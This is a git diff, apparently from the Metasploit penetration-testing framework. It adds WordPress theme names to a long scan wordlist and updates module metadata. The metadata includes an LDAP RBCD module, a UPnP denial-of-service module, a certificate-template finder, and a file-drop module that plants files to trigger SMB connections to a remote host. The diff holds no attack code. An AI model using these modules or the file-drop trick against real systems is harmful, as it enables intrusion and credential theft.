|
||||
swell-lite
|
||||
swet
|
||||
@@ -19001,8 +20272,10 @@ swiftpress
|
||||
swiftray
|
||||
swiftray-lite
|
||||
swifty-site-designer
|
||||
swimming-pool
|
||||
swimschool
|
||||
swing-lite
|
||||
swingpress
|
||||
swipewp
|
||||
swirly
|
||||
swirly-glow-thingys
|
||||
@@ -19031,6 +20304,7 @@ symbol
|
||||
sympalpress-lite
|
||||
sympathy-blue
|
||||
symphony
|
||||
symplify-blog
|
||||
syn
|
||||
synapse
|
||||
synchronization
|
||||
@@ -19039,12 +20313,15 @@ synergy-blue-by-k9
|
||||
synergy-green-by-k9
|
||||
synergy-pink-by-k9
|
||||
syntax
|
||||
syrus
|
||||
system-7
|
||||
sywon
|
||||
szareprzenikanie
|
||||
szbenz
|
||||
t-shirt-clothing
|
||||
ta-business
|
||||
ta-dailyblog
|
||||
ta-mag
|
||||
ta-magazine
|
||||
ta-newspaper
|
||||
ta-portfolio
|
||||
@@ -19062,7 +20339,10 @@ tacte
|
||||
tadaima
|
||||
tadpole
|
||||
tafri-travel
|
||||
tafri-travel-blog
|
||||
tagebuch
|
||||
tagora
|
||||
tagora-business
|
||||
taha-yoyo
|
||||
tai
|
||||
tai-simpleblog
|
||||
@@ -19070,6 +20350,7 @@ tai-simpletheme
|
||||
tailor
|
||||
tailored
|
||||
tailwind
|
||||
taina
|
||||
tainacan
|
||||
tainacan-interface
|
||||
taiyariclasses-uri-httpsthemepalace-comdownloadscorporate-education
|
||||
@@ -19106,6 +20387,7 @@ tannistha
|
||||
tantyyellow
|
||||
tanuki-base
|
||||
tanzaku
|
||||
tanzakufse
|
||||
tanzanite
|
||||
tanzii
|
||||
tapied-child
|
||||
@@ -19139,6 +20421,8 @@ tastybite
|
||||
tastyplacement
|
||||
tastypress
|
||||
tasveer
|
||||
tatoo-lite
|
||||
tattoo-designer
|
||||
tattoo-expert
|
||||
tattoo-wow
|
||||
tattoos
|
||||
@@ -19146,6 +20430,7 @@ tatu
|
||||
tatva-lite
|
||||
tavisha
|
||||
taxcan
|
||||
taxi-booking
|
||||
taylor
|
||||
tbiz
|
||||
tc-e-commerce-shop
|
||||
@@ -19202,6 +20487,7 @@ techengage
|
||||
techfind
|
||||
techieblog
|
||||
techified
|
||||
techine
|
||||
techism
|
||||
techlauncher
|
||||
techlicioushosting
|
||||
@@ -19225,6 +20511,7 @@ technogatiadsenseready
|
||||
technogenous-lite
|
||||
technoholic
|
||||
technology
|
||||
technology-techup
|
||||
technology-travel-food
|
||||
technosmart
|
||||
technosmart-lite
|
||||
@@ -19240,6 +20527,7 @@ techtree2
|
||||
techtune
|
||||
techtunes
|
||||
techup
|
||||
techup-saw
|
||||
techwear-theme-uri-httpthemeisle-comthemeszerif-lite
|
||||
techwormcorporate
|
||||
techy-people
|
||||
@@ -19259,14 +20547,22 @@ teczilla-corporate
|
||||
teczilla-creative
|
||||
teczilla-dark
|
||||
teczilla-finance
|
||||
teczilla-industry
|
||||
teczilla-lite
|
||||
teczilla-marketing
|
||||
teczilla-organization
|
||||
teczilla-portfolio
|
||||
teczilla-saas
|
||||
teczilla-seo
|
||||
teczilla-software
|
||||
teczilla-startup
|
||||
teczilla-technology
|
||||
teczilla-trading
|
||||
tedi
|
||||
tedxwc
|
||||
teen-seventeen
|
||||
teerex
|
||||
teesa
|
||||
tehno-njuz
|
||||
tehnonjuz
|
||||
tehran
|
||||
@@ -19293,6 +20589,7 @@ temanyadaengganteng
|
||||
temauno
|
||||
tembesi
|
||||
temka
|
||||
temp-mail-x
|
||||
temp8
|
||||
tempera
|
||||
templastic
|
||||
@@ -19309,8 +20606,10 @@ templateozzamo16
|
||||
templatetoaster
|
||||
tempo
|
||||
temptation
|
||||
ten-blog
|
||||
tenacity
|
||||
tender-spring
|
||||
tendo
|
||||
tenera
|
||||
tenet
|
||||
tenocation
|
||||
@@ -19371,8 +20670,14 @@ tg-green-light
|
||||
tg-orange-mini
|
||||
tgame
|
||||
tgmpa_test
|
||||
th-big
|
||||
th-big-shop
|
||||
th-blogging
|
||||
th-hot-shop
|
||||
th-jot
|
||||
th-open
|
||||
th-store
|
||||
th-top
|
||||
thai-spa
|
||||
thallein
|
||||
thalliumwp
|
||||
@@ -19390,6 +20695,7 @@ the-adjustbar-two-column-left-right-side-bar-default-widget
|
||||
the-adventure-journal
|
||||
the-angle
|
||||
the-architect-website
|
||||
the-art-gallery
|
||||
the-artister
|
||||
the-ataraxis
|
||||
the-authority
|
||||
@@ -19446,6 +20752,7 @@ the-event-construction
|
||||
the-event-dark
|
||||
the-evol
|
||||
the-evol-theme
|
||||
the-evolution
|
||||
the-exe
|
||||
the-falcon
|
||||
the-fash-blog
|
||||
@@ -19458,12 +20765,14 @@ the-fundamentals-of-graphic-design
|
||||
the-funk
|
||||
the-gap
|
||||
the-gecko
|
||||
the-gig
|
||||
the-glory
|
||||
the-glory-template
|
||||
the-go-green-theme
|
||||
the-good-earth
|
||||
the-guru-theme
|
||||
the-h
|
||||
the-headlines
|
||||
the-hipster-blog
|
||||
the-hotel
|
||||
the-html5-boilerplate
|
||||
@@ -19508,6 +20817,7 @@ the-next-university
|
||||
the-nice-one
|
||||
the-night-watch
|
||||
the-other-blog-lite-red
|
||||
the-pack-element
|
||||
the-pet-clinic
|
||||
the-pinata
|
||||
the-portfolio
|
||||
@@ -19532,6 +20842,8 @@ the-shopping
|
||||
the-simple-things
|
||||
the-skeleton
|
||||
the-sonic
|
||||
the-store
|
||||
the-styled-blog
|
||||
the-sunflower-theme
|
||||
the-swallow
|
||||
the-theme
|
||||
@@ -19581,6 +20893,7 @@ thecompany
|
||||
thefabbrick
|
||||
thefour-lite
|
||||
thegujjar
|
||||
thehideout
|
||||
theia-lite
|
||||
thekit
|
||||
theleul
|
||||
@@ -19632,6 +20945,7 @@ themetastico
|
||||
themetiger-fashion
|
||||
themetim
|
||||
themevid
|
||||
themework
|
||||
themey
|
||||
themia-lite
|
||||
themia-pro
|
||||
@@ -19686,6 +21000,7 @@ thewin
|
||||
theworldin35mm
|
||||
thikcha-bootstrap
|
||||
thin-mint
|
||||
thinity
|
||||
think-blue
|
||||
think-me
|
||||
thinker
|
||||
@@ -19696,6 +21011,7 @@ third
|
||||
third-eye
|
||||
third-son
|
||||
third-style
|
||||
thirteen-blog
|
||||
thirteenmag
|
||||
thirtyseventyeight
|
||||
this-christmas
|
||||
@@ -19744,6 +21060,7 @@ tiffany-lite
|
||||
tifology
|
||||
tiga
|
||||
tiger
|
||||
tigtiger
|
||||
tijaji
|
||||
tijarat-business
|
||||
tiki-time
|
||||
@@ -19868,15 +21185,19 @@ toommorel-lite
|
||||
toommorel-theme-by-inkthemes
|
||||
toothpaste
|
||||
top-blog
|
||||
top-blogger
|
||||
top-business
|
||||
top-charity
|
||||
top-classic-cars
|
||||
top-event
|
||||
top-jewelry
|
||||
top-language-jobs-2
|
||||
top-mag
|
||||
top-newspaper
|
||||
top-premium-photoblog
|
||||
top-shop
|
||||
top-store
|
||||
top-stories
|
||||
top-story
|
||||
top-travel
|
||||
top5revs
|
||||
@@ -19919,6 +21240,7 @@ tour
|
||||
tour-agency
|
||||
tour-operator
|
||||
tour-package
|
||||
tour-travel-agent
|
||||
tour-traveler
|
||||
tourable
|
||||
tourag
|
||||
@@ -19935,6 +21257,7 @@ tove
|
||||
township-lite
|
||||
tp-autumn
|
||||
tp-blue
|
||||
tp-branded
|
||||
tp-iphone
|
||||
tp-philosophy
|
||||
tp-purpure
|
||||
@@ -19955,6 +21278,7 @@ trade
|
||||
trade-business
|
||||
trade-hub
|
||||
trade-line
|
||||
trade-more
|
||||
tradebiz
|
||||
tradeup
|
||||
trading
|
||||
@@ -19992,6 +21316,7 @@ transport-lite
|
||||
transport-movers
|
||||
transport-solutions
|
||||
transportation
|
||||
transportation-shipment
|
||||
transportex
|
||||
transporty
|
||||
travbo
|
||||
@@ -20001,6 +21326,7 @@ travel-ace
|
||||
travel-advisor
|
||||
travel-agency
|
||||
travel-agency-booking
|
||||
travel-agent
|
||||
travel-and-tour
|
||||
travel-away
|
||||
travel-base
|
||||
@@ -20016,9 +21342,11 @@ travel-booking
|
||||
travel-buzz
|
||||
travel-by-frelocaters
|
||||
travel-canvas
|
||||
travel-charm
|
||||
travel-club
|
||||
travel-company
|
||||
travel-diaries
|
||||
travel-diary
|
||||
travel-escape
|
||||
travel-eye
|
||||
travel-eye12312312
|
||||
@@ -20027,6 +21355,7 @@ travel-guide
|
||||
travel-hub
|
||||
travel-in-italy
|
||||
travel-in-love
|
||||
travel-init
|
||||
travel-insight
|
||||
travel-inspired
|
||||
travel-is-my-life
|
||||
@@ -20054,15 +21383,18 @@ travel-to-egypt
|
||||
travel-tour
|
||||
travel-tour-pro
|
||||
travel-tourism
|
||||
travel-trail
|
||||
travel-trek
|
||||
travel-trip-lite
|
||||
travel-ultimate
|
||||
travel-vlogger
|
||||
travel-voyage
|
||||
travel-way
|
||||
traveladdict-lite
|
||||
traveladdict-liteliye
|
||||
travelagency
|
||||
travelair
|
||||
travelbee
|
||||
travelberg
|
||||
travelbiz
|
||||
travelblog
|
||||
@@ -20072,10 +21404,13 @@ traveler-blog-lite
|
||||
travelera-lite
|
||||
travelers
|
||||
travelers-blog
|
||||
travelholic
|
||||
travelia
|
||||
travelifestyle
|
||||
travelify
|
||||
travelingist
|
||||
travelism
|
||||
travelistic
|
||||
travelkit
|
||||
travellable
|
||||
travellandia
|
||||
@@ -20095,6 +21430,7 @@ travern
|
||||
traverse-blog
|
||||
traverse-diary
|
||||
traversify-lite
|
||||
travey
|
||||
travia
|
||||
traza
|
||||
trcapital-lite
|
||||
@@ -20116,21 +21452,26 @@ trend-shop
|
||||
trending
|
||||
trending-blog
|
||||
trending-mag
|
||||
trending-news
|
||||
trendmag
|
||||
trendmag-lite
|
||||
trendpress
|
||||
trendshop
|
||||
trendy
|
||||
trendy-blog
|
||||
trendy-green
|
||||
trendy-news
|
||||
tressimple
|
||||
treville
|
||||
treviso
|
||||
trex
|
||||
trexo
|
||||
triad
|
||||
trial
|
||||
trial-house-bootstrap-classic
|
||||
trialhouse-bootstrap-classic
|
||||
triangled
|
||||
triangulate
|
||||
tribal
|
||||
tribbiani
|
||||
tribe
|
||||
@@ -20175,6 +21516,7 @@ tropical-beach-theme
|
||||
tropical-paradise
|
||||
tropicala
|
||||
tropicana
|
||||
trouvelot
|
||||
truble
|
||||
true-blue
|
||||
true-blue-hue
|
||||
@@ -20248,6 +21590,7 @@ tutepress
|
||||
tutifruti
|
||||
tuto
|
||||
tutor
|
||||
tutor-academy
|
||||
tutor-starter
|
||||
tutorial
|
||||
tutorial-portfolio
|
||||
@@ -20255,6 +21598,7 @@ tutorial-theme
|
||||
tutorialesmanu
|
||||
tutorstarter
|
||||
tutsup-two
|
||||
tutu
|
||||
tuấn-hiệp
|
||||
tv-boy-explode-black
|
||||
tw
|
||||
@@ -20283,9 +21627,11 @@ tweetpress
|
||||
tweetsheep
|
||||
twelve
|
||||
twelve-14
|
||||
twelve-blog
|
||||
twelve-pixel
|
||||
twentiy-nineteen
|
||||
twenty
|
||||
twenty-17
|
||||
twenty-eightteen
|
||||
twenty-eleven
|
||||
twenty-eleven-alternative
|
||||
@@ -20432,6 +21778,7 @@ twenty-twenty-one-child
|
||||
twenty-twenty-one-sidebar
|
||||
twenty-twenty-onee
|
||||
twenty-twenty-plus
|
||||
twenty-twenty-two-child
|
||||
twenty-twenty20
|
||||
twenty-two-five
|
||||
twenty11
|
||||
@@ -20444,6 +21791,7 @@ twentyfourteen
|
||||
twentyfourteen-child
|
||||
twentynineteen
|
||||
twentyseventeen
|
||||
twentyseventeen-child
|
||||
twentysixteen
|
||||
twentysixteen-custom
|
||||
twentysixteen-customed-for-kishoredbn
|
||||
@@ -20460,6 +21808,9 @@ twentytwelve-schema-org-child
|
||||
twentytwenty
|
||||
twentytwentyone
|
||||
twentytwentyone-child-wooden
|
||||
twentytwentythree
|
||||
twentytwentytwo
|
||||
twentytwentytwowcs2022
|
||||
twentyxlarge
|
||||
twentyxs
|
||||
twentyxs-child
|
||||
@@ -20573,6 +21924,7 @@ ultra-seven
|
||||
ultrabootstrap
|
||||
ultralight
|
||||
ultrapress
|
||||
ultravel
|
||||
um
|
||||
uma
|
||||
uma-wp-theme
|
||||
@@ -20588,6 +21940,7 @@ unakit
|
||||
unar
|
||||
unar-lite
|
||||
unax
|
||||
unblock
|
||||
unbox-tours
|
||||
uncode
|
||||
uncode-lite
|
||||
@@ -20620,7 +21973,9 @@ undistracted-zen
|
||||
unfocus-green
|
||||
unfocused-blues
|
||||
unfold
|
||||
unfoldx
|
||||
uni-education
|
||||
uniblock
|
||||
unicare-lite
|
||||
unicon
|
||||
unicon-lite
|
||||
@@ -20663,12 +22018,14 @@ universam-store-leader
|
||||
universe
|
||||
universe2
|
||||
university
|
||||
university-education-hub
|
||||
university-hub
|
||||
university-max
|
||||
university-web8
|
||||
university-wp
|
||||
university-zone
|
||||
unknown-uri-httpdemo-webulo1us-inabar1is
|
||||
unlimita
|
||||
unlimited
|
||||
unmarked
|
||||
unnamed-lite
|
||||
@@ -20704,7 +22061,9 @@ upcart
|
||||
update-tucson
|
||||
updown-cloud
|
||||
upeo
|
||||
upeo-blog
|
||||
upeo-business
|
||||
upfront
|
||||
upfrontwp
|
||||
upify
|
||||
upliftingblog
|
||||
@@ -20751,6 +22110,7 @@ utheme
|
||||
uticawp
|
||||
utieletronica
|
||||
utility
|
||||
utility-techup
|
||||
utilys
|
||||
utopia
|
||||
utouch-lite
|
||||
@@ -20771,6 +22131,7 @@ vacation-lite
|
||||
vacation-lite1
|
||||
vacuous
|
||||
vagabond
|
||||
vagante
|
||||
vaje
|
||||
vajra
|
||||
valazi
|
||||
@@ -20805,6 +22166,7 @@ vantage-premium
|
||||
vanty
|
||||
vape-multipurpose-minimal-shop
|
||||
vape-theme
|
||||
varela-blog
|
||||
varg
|
||||
variant
|
||||
variant-landing-page
|
||||
@@ -20850,6 +22212,7 @@ vegeta
|
||||
veggie-lite
|
||||
veggie-lite1-2
|
||||
veggie-poem
|
||||
veggo-shop
|
||||
vei-do-ceu
|
||||
vei-do-saco
|
||||
veikals
|
||||
@@ -20887,6 +22250,7 @@ verbosa
|
||||
verdant
|
||||
verge
|
||||
veridicta
|
||||
veritable
|
||||
veritas
|
||||
verity
|
||||
vermillon
|
||||
@@ -20895,6 +22259,7 @@ veroxa
|
||||
versal
|
||||
versatile-business
|
||||
versatile-business-dark
|
||||
versatile-corporate
|
||||
versitility
|
||||
verso
|
||||
verso-lite
|
||||
@@ -20929,8 +22294,10 @@ vg-sento
|
||||
viable-blog
|
||||
viable-fame
|
||||
viable-lite
|
||||
viaggiando
|
||||
viaggio-lite
|
||||
viala
|
||||
viandante
|
||||
viavi-blog
|
||||
vibe
|
||||
vibefolio-teaser-10
|
||||
@@ -20948,14 +22315,19 @@ victoriana
|
||||
video
|
||||
video-adventure-theme
|
||||
video-blog
|
||||
video-podcasting
|
||||
video-sport-total
|
||||
video-streaming
|
||||
video-theme-adventure
|
||||
videoblog
|
||||
videobuzz
|
||||
videocast
|
||||
videofire
|
||||
videofy
|
||||
videographex
|
||||
videography
|
||||
videography-filmmaker
|
||||
videolife
|
||||
videomag
|
||||
videomaker
|
||||
videomax
|
||||
@@ -20963,6 +22335,7 @@ videonowlite
|
||||
videoplace
|
||||
videopress
|
||||
videopro-shared-by-themes24x7-com
|
||||
videoshare
|
||||
videostories
|
||||
videoxl-free
|
||||
vidmag
|
||||
@@ -20987,6 +22360,8 @@ viktor-classic
|
||||
viktor-lite
|
||||
villa-estate
|
||||
village
|
||||
villanelle
|
||||
villar
|
||||
vilva
|
||||
vina
|
||||
vinay
|
||||
@@ -21005,6 +22380,7 @@ vintage-stamps-theme
|
||||
vintage-wall
|
||||
vintage1-camera1
|
||||
vintagemag
|
||||
vinyl-news-mag
|
||||
violet
|
||||
violet-fashion-theme
|
||||
violinesth
|
||||
@@ -21054,6 +22430,7 @@ vishnu
|
||||
visia-store
|
||||
vision
|
||||
vision-lite
|
||||
visionwp
|
||||
visitpress
|
||||
viso
|
||||
viso-theme
|
||||
@@ -21085,6 +22462,7 @@ vivex
|
||||
vivid-blog
|
||||
vivid-night
|
||||
vivita
|
||||
vivre
|
||||
vixka
|
||||
vixy-catch
|
||||
vizuit
|
||||
@@ -21139,6 +22517,7 @@ vw-app-lite
|
||||
vw-application
|
||||
vw-automobile-lite
|
||||
vw-bakery
|
||||
vw-bakery-blocks
|
||||
vw-blog-magazine
|
||||
vw-book-store
|
||||
vw-car-rental
|
||||
@@ -21149,6 +22528,7 @@ vw-consulting
|
||||
vw-corporate-business
|
||||
vw-corporate-lite
|
||||
vw-corporate-lite-2
|
||||
vw-dark
|
||||
vw-dentist
|
||||
vw-driving-school
|
||||
vw-eco-nature
|
||||
@@ -21169,7 +22549,10 @@ vw-healthcare
|
||||
vw-hospital-lite
|
||||
vw-hotel
|
||||
vw-interior-designs
|
||||
vw-job-board
|
||||
vw-kids
|
||||
vw-kids-store
|
||||
vw-kindergarten
|
||||
vw-landing-page
|
||||
vw-lawyer-attorney
|
||||
vw-life-coach
|
||||
@@ -21180,6 +22563,7 @@ vw-minimalist
|
||||
vw-mobile-app
|
||||
vw-mobile-app-red-canoa
|
||||
vw-newspaper
|
||||
vw-nutritionist-coach
|
||||
vw-one-page
|
||||
vw-painter
|
||||
vw-parallax
|
||||
@@ -21229,9 +22613,11 @@ w018
|
||||
w1redtech
|
||||
w3css
|
||||
w3css-starter
|
||||
w3csspress
|
||||
w3t-fuseki
|
||||
w7c_iz
|
||||
wabc
|
||||
wabi
|
||||
wabi-sabi
|
||||
wacko
|
||||
wacool-hack-on-the-net
|
||||
@@ -21245,6 +22631,8 @@ walili
|
||||
walker-charity
|
||||
walkermag
|
||||
walkernews
|
||||
walkerpress
|
||||
walkershop
|
||||
wall-street
|
||||
wallflower
|
||||
wallgreen
|
||||
@@ -21266,6 +22654,7 @@ wapuu1-child
|
||||
waqas
|
||||
ward
|
||||
wardrobe
|
||||
warehouse-cargo
|
||||
warm-heart
|
||||
warm-home
|
||||
warm-ribbon
|
||||
@@ -21279,6 +22668,7 @@ washing-center
|
||||
washington
|
||||
wasif
|
||||
wasteland
|
||||
watch-store
|
||||
watchertheme
|
||||
watches
|
||||
water
|
||||
@@ -21287,6 +22677,7 @@ water-lily
|
||||
water-mark
|
||||
water-sports-club
|
||||
watercolor
|
||||
waterlava
|
||||
waterloo
|
||||
waternymph-and-dolphin
|
||||
waterside
|
||||
@@ -21321,16 +22712,20 @@ web-20
|
||||
web-20-blue
|
||||
web-20-pinky
|
||||
web-20-simplified
|
||||
web-agency-elementor
|
||||
web-app
|
||||
web-artist
|
||||
web-conference
|
||||
web-design
|
||||
web-design-web8
|
||||
web-designer
|
||||
web-developer
|
||||
web-developer-elementor
|
||||
web-development
|
||||
web-grapple
|
||||
web-host
|
||||
web-hosting
|
||||
web-hosting-lite
|
||||
web-hosting-theme
|
||||
web-log
|
||||
web-minimalist-200901
|
||||
@@ -21383,6 +22778,7 @@ webstarslite
|
||||
webstarterkitthirteen
|
||||
webstore
|
||||
webstrap
|
||||
webstudio-gtns
|
||||
webswp
|
||||
webtacs-1
|
||||
weburangbogor
|
||||
@@ -21392,12 +22788,14 @@ wecare
|
||||
wecodeart
|
||||
wecodeart-framework
|
||||
wecodeart-old
|
||||
weddi-pro
|
||||
wedding
|
||||
wedding-band
|
||||
wedding-bells
|
||||
wedding-bells-lite
|
||||
wedding-bride
|
||||
wedding-couples
|
||||
wedding-hall
|
||||
wedding-happily-ever-after
|
||||
wedding-journal
|
||||
wedding-party
|
||||
@@ -21419,10 +22817,14 @@ wedshot
|
||||
wefoster
|
||||
weh-lite
|
||||
wehpy
|
||||
wei
|
||||
weight-loss
|
||||
weight-loss-tea
|
||||
welcome
|
||||
welcomeholidays-uri-httpswordpress-orgthemestwentyseventeen
|
||||
welding-services
|
||||
well-being
|
||||
well-book
|
||||
well-built
|
||||
well-rounded-redux-blue
|
||||
wellbeing
|
||||
@@ -21432,13 +22834,16 @@ wellness
|
||||
wellness-child
|
||||
wellness-coach-lite
|
||||
wen-associate
|
||||
wen-biz
|
||||
wen-business
|
||||
wen-commerce
|
||||
wen-corporate
|
||||
wen-travel
|
||||
wen-travel-blog
|
||||
wen-travel-corporate
|
||||
wen-travel-dark
|
||||
wen-travel-modern
|
||||
wen-travel-photography
|
||||
wepora
|
||||
werka
|
||||
west
|
||||
@@ -21526,6 +22931,7 @@ whitey08-green
|
||||
whitish
|
||||
whitish-lite
|
||||
whitney
|
||||
wholesales
|
||||
wholly
|
||||
whoop
|
||||
why-hello-there
|
||||
@@ -21634,6 +23040,7 @@ wittgenstein
|
||||
wix
|
||||
wiz-ecommerce
|
||||
wiziapp-smooth-touch
|
||||
wk-finance
|
||||
wk-wow
|
||||
wkeducation
|
||||
wlow
|
||||
@@ -21649,6 +23056,7 @@ womenmagaz
|
||||
wonder
|
||||
wondrous
|
||||
woo
|
||||
woo-shop
|
||||
woobie
|
||||
wooclean
|
||||
woocommerce-starter
|
||||
@@ -21659,6 +23067,8 @@ wood-master
|
||||
wood-people
|
||||
wood-theme
|
||||
woodberry
|
||||
woodcraft-lite
|
||||
woodcut
|
||||
wooden
|
||||
wooden-and-white-style
|
||||
wooden-by-jason
|
||||
@@ -21682,12 +23092,14 @@ woodsauce
|
||||
woodword
|
||||
woodwork-lite
|
||||
woodworking
|
||||
woodworking-carpenter
|
||||
woody
|
||||
woody-smooth
|
||||
wooeco
|
||||
wooketing
|
||||
woolab
|
||||
woomart
|
||||
wooshop-wp
|
||||
woosti
|
||||
woostifi
|
||||
woostify
|
||||
@@ -21744,6 +23156,7 @@ wordpress-unix
|
||||
wordpress-video-theme
|
||||
words
|
||||
words-blog
|
||||
words-lite
|
||||
wordsmith
|
||||
wordsmith-anvil
|
||||
wordsmith-blog
|
||||
@@ -21755,9 +23168,11 @@ wordzilla
|
||||
worf
|
||||
work-and-travel
|
||||
workart
|
||||
workart-business
|
||||
workflow
|
||||
workfree
|
||||
working-papers
|
||||
workout-lite
|
||||
workpress
|
||||
worksblog
|
||||
workspace-theme
|
||||
@@ -21820,6 +23235,7 @@ wp-boxes
|
||||
wp-brown
|
||||
wp-bs-mix-news
|
||||
wp-business
|
||||
wp-business-builder
|
||||
wp-c_green
|
||||
wp-castle
|
||||
wp-casual
|
||||
@@ -21896,7 +23312,9 @@ wp-media-twentyfive
|
||||
wp-meliora
|
||||
wp-metrics
|
||||
wp-metroui
|
||||
wp-minimalist
|
||||
wp-mint-magazine
|
||||
wp-moose
|
||||
wp-movies
|
||||
wp-mozilla-community-theme-v2
|
||||
wp-my-business
|
||||
@@ -21904,6 +23322,7 @@ wp-nathy
|
||||
wp-news-classic
|
||||
wp-news-stream
|
||||
wp-newsmagazine
|
||||
wp-newspaper
|
||||
wp-nice-mix
|
||||
wp-notebook
|
||||
wp-notes
|
||||
@@ -22009,12 +23428,15 @@ wpbyd
|
||||
wpcake
|
||||
wpcan
|
||||
wpchimp-countdown
|
||||
wpckid
|
||||
wpclick
|
||||
wpcmart
|
||||
wpcmedical
|
||||
wpcomic
|
||||
wpconfigurator
|
||||
wpcount
|
||||
wpcouponcode
|
||||
wpcpet
|
||||
wpcplant
|
||||
wpcrest
|
||||
wpcrux
|
||||
@@ -22034,6 +23456,7 @@ wpf-authority
|
||||
wpf-flaty
|
||||
wpf-ultraresponsive
|
||||
wpfastslide
|
||||
wpflavour
|
||||
wpfolio
|
||||
wpfolio-three
|
||||
wpgalaxy-magazine
|
||||
@@ -22041,12 +23464,14 @@ wpgist
|
||||
wpgrass
|
||||
wpgumby
|
||||
wpherald_lite
|
||||
wphester
|
||||
wpi-aboutme
|
||||
wpideo
|
||||
wpindexatic
|
||||
wping-metro
|
||||
wpj
|
||||
wpjobman
|
||||
wpkites
|
||||
wpl-twentyeight
|
||||
wplab-pro-wpcms
|
||||
wplabo-aries
|
||||
@@ -22128,6 +23553,7 @@ writee
|
||||
writee-child
|
||||
writee-grid
|
||||
writee-parsi
|
||||
writemag
|
||||
writer
|
||||
writer-blog
|
||||
writera
|
||||
@@ -22138,6 +23564,7 @@ writers-blogily
|
||||
writers-desk
|
||||
writers-quill
|
||||
writerstrap
|
||||
writeup
|
||||
writhem-blog
|
||||
writing-board
|
||||
writing-desk
|
||||
@@ -22189,9 +23616,11 @@ x-mas
|
||||
x-portfolio
|
||||
x-shop
|
||||
x-store
|
||||
x-t9
|
||||
x-view
|
||||
x2
|
||||
x2-lite
|
||||
x3p0-reflections
|
||||
x6
|
||||
xabstract
|
||||
xaklin
|
||||
@@ -22218,6 +23647,7 @@ xiando-one
|
||||
xianrensea
|
||||
xicoofficial
|
||||
xid1theme
|
||||
xidea
|
||||
xin
|
||||
xin-magazine
|
||||
xinxin
|
||||
@@ -22242,6 +23672,8 @@ xpand-blog
|
||||
xpand-news
|
||||
xperson-lite
|
||||
xpinkfevertlx
|
||||
xpomagazine
|
||||
xposenews
|
||||
xpressmag
|
||||
xpro
|
||||
xproweb
|
||||
@@ -22323,6 +23755,7 @@ yepza
|
||||
yes-co-ores-theme
|
||||
yesp
|
||||
yeti-5
|
||||
yeti-blog
|
||||
yeuloli
|
||||
yeyita
|
||||
yg-desire
|
||||
@@ -22330,10 +23763,12 @@ yhsnews
|
||||
yifengxuan
|
||||
yinyang
|
||||
yith-proteo
|
||||
yith-wonder
|
||||
yleave
|
||||
ymac
|
||||
ymflyingred
|
||||
ymoo
|
||||
ynet-contractor
|
||||
yo-manga
|
||||
yo-yo-po
|
||||
yo_fik
|
||||
@@ -22341,6 +23776,7 @@ yocto
|
||||
yoga
|
||||
yoga-coach
|
||||
yoga-fitness
|
||||
yoga-park
|
||||
yoga-studio
|
||||
yoga_guru
|
||||
yogaclub-lite
|
||||
@@ -22359,7 +23795,9 @@ yomel
|
||||
yonarex
|
||||
yoneko
|
||||
yoo-developer
|
||||
yordered-desktop
|
||||
york-lite
|
||||
york-press
|
||||
yosemite
|
||||
yosemite-lite
|
||||
yosemite-lite1
|
||||
@@ -22387,8 +23825,13 @@ yugen
|
||||
yui
|
||||
yui-grid-css
|
||||
yuiyui
|
||||
yuki
|
||||
yuki-agency
|
||||
yuki-magazine
|
||||
yukti
|
||||
yule
|
||||
yuma
|
||||
yuma-personal
|
||||
yume
|
||||
yume-tan
|
||||
yummy
|
||||
@@ -22463,6 +23906,7 @@ zeestyle
|
||||
zeestylepro
|
||||
zeesynergie
|
||||
zeetasty
|
||||
zeever
|
||||
zeevision
|
||||
zeko-lite
|
||||
zelia
|
||||
@@ -22485,6 +23929,7 @@ zenga-club
|
||||
zengardenwedding
|
||||
zenhabits-reloaded
|
||||
zenimalist
|
||||
zenithwp
|
||||
zenlife
|
||||
zenlite
|
||||
zenmacrame
|
||||
@@ -22533,6 +23978,7 @@ zetaone
|
||||
zeus
|
||||
zfirst
|
||||
zgrey
|
||||
zheme
|
||||
zhuti
|
||||
zica-lite-one-page
|
||||
zifer-child
|
||||
@@ -22570,7 +24016,9 @@ zm-tech-black-red
|
||||
zm-theme
|
||||
zmartoffcial
|
||||
zmooncake
|
||||
zmt-modular
|
||||
znktheme-uri-httpssketchthemes-compremium-themesappointment-booking-wordpress-theme-for-consultants
|
||||
zodiac-astrology
|
||||
zodiac-lite
|
||||
zoe
|
||||
zoko
|
||||
|
||||
+1150
-435
@@ -5220,7 +5220,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-10-28 09:19:43 +0000",
|
||||
"mod_time": "2022-11-14 12:27:38 +0000",
|
||||
"path": "/modules/auxiliary/admin/ldap/rbcd.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/ldap/rbcd",
|
||||
@@ -13777,7 +13777,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-01-23 15:28:32 +0000",
|
||||
"mod_time": "2022-12-04 17:41:24 +0000",
|
||||
"path": "/modules/auxiliary/dos/upnp/miniupnpd_dos.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "dos/upnp/miniupnpd_dos",
|
||||
@@ -15496,7 +15496,7 @@
|
||||
"Lnk Creation Code by Mubix",
|
||||
"asoto-r7"
|
||||
],
|
||||
"description": "This module dependent on the given filename extension creates either\n a .lnk, .scf, .url, .xml, or desktop.ini file which includes a reference\n to the the specified remote host, causing SMB connections to be initiated\n from any user that views the file.",
|
||||
"description": "This module dependent on the given filename extension creates either\n a .lnk, .scf, .url, .xml, or desktop.ini file which includes a reference\n to the specified remote host, causing SMB connections to be initiated\n from any user that views the file.",
|
||||
"references": [
|
||||
"URL-https://malicious.link/blog/2012/02/11/ms08_068-ms10_046-fun-until-2018",
|
||||
"URL-https://malicious.link/post/2012/2012-02-19-developing-the-lnk-metasploit-post-module-with-mona/",
|
||||
@@ -15512,7 +15512,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"mod_time": "2022-12-04 17:41:24 +0000",
|
||||
"path": "/modules/auxiliary/fileformat/multidrop.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "fileformat/multidrop",
|
||||
@@ -19670,6 +19670,53 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_gather/ldap_esc_vulnerable_cert_finder": {
|
||||
"name": "Misconfigured Certificate Template Finder",
|
||||
"fullname": "auxiliary/gather/ldap_esc_vulnerable_cert_finder",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": "2021-06-17",
|
||||
"type": "auxiliary",
|
||||
"author": [
|
